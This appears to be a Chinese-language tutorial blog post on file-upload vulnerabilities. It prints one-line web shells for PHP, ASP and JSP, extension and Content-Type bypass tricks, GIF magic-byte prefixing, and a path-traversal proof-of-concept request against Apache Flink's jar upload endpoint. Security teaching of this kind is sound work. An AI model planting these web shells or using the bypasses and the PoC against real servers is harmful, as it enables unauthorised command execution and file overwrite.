上班倒数 QQ
不管你是要缴交各种报名资料,申请某公司职位或是各种社交帐号和通讯软件,都会遇到需要上传功能的时候。若是这些服务,没有好好检查用户上传的档案,会发生甚麽事呢?
这种漏洞通常影响很大,可以写入web shell,上传恶意文件让一般用户受到危害,甚至触发拿来触发其他的应用程序漏洞(Buffer Overflow)等等。
例如一个网站设计了一个上传大头贴的功能,但没有对上传的副档名做出限制
这时候使用者只要简单的写一行该网站使用的语言的web shell就可以,例如:
PHP
<?php echo system($_REQUEST['cmd']); ?>
ASP
<% eval request("cmd") %>
JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
当然,这可以透过检查副档名的方式,对上传的档案进行限制,所以也衍生出了很多bypass的方式。例如:
.php.png
.php5
.pht
.phtml
或是透过读取使用者发来的Content-Type去做判断。例如
Content-Type: image/gif
但由於这本身就等於信任User Request的任何input,因此也是最好绕过的,只要将Content-Type的value写入网站可以接受的类型就可以了
也有一种保护方式是透过检查User的POST Request中的data来进行判断,例如data的开头为:
GIF87a
这可能就会让具有漏洞的网站应用程序将其判断为一张GIF档案,这时在下面再写下Web Shell或是Reverse Shell就可以了。
Flink 引入了一个 REST handler,这允许攻击者将已上传的文件写入本地任意位置的文件中,并且可通过一个恶意修改的 HTTP header将这些文件写入到Flink 可以访问的任意位置。
POC
POST /jars/upload HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 201
------WebKitFormBoundaryo
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/tmp.txt"
Content-Type: text/plain
GET IT
------WebKitFormBoundary--
也可以利用上面的方法,覆盖已经存在的文件
>>: Day 28 | 很像 Vue 的 AlpineJS(三): x-model
Peering Connection 继前两天提到的VPC,这边就不得不提到VPC网路对等连线(Pe...
有没有想过除了从菜市场、超级市场买菜以外,试着跟人在离家不远的农场,共享农作、畜牧来获取需求的天然的...
_document 可以做什麽呢? Next.js 除了 _app.tsx 之外,还提供另外一个 _...
本节是以 Golang 上游 1a708bcf1d17171056a42ec1597ca8848c...
先前有介绍过 dat.GUI,这篇补充一些先前没提过的部分: [PixiJS - Day-16] 使...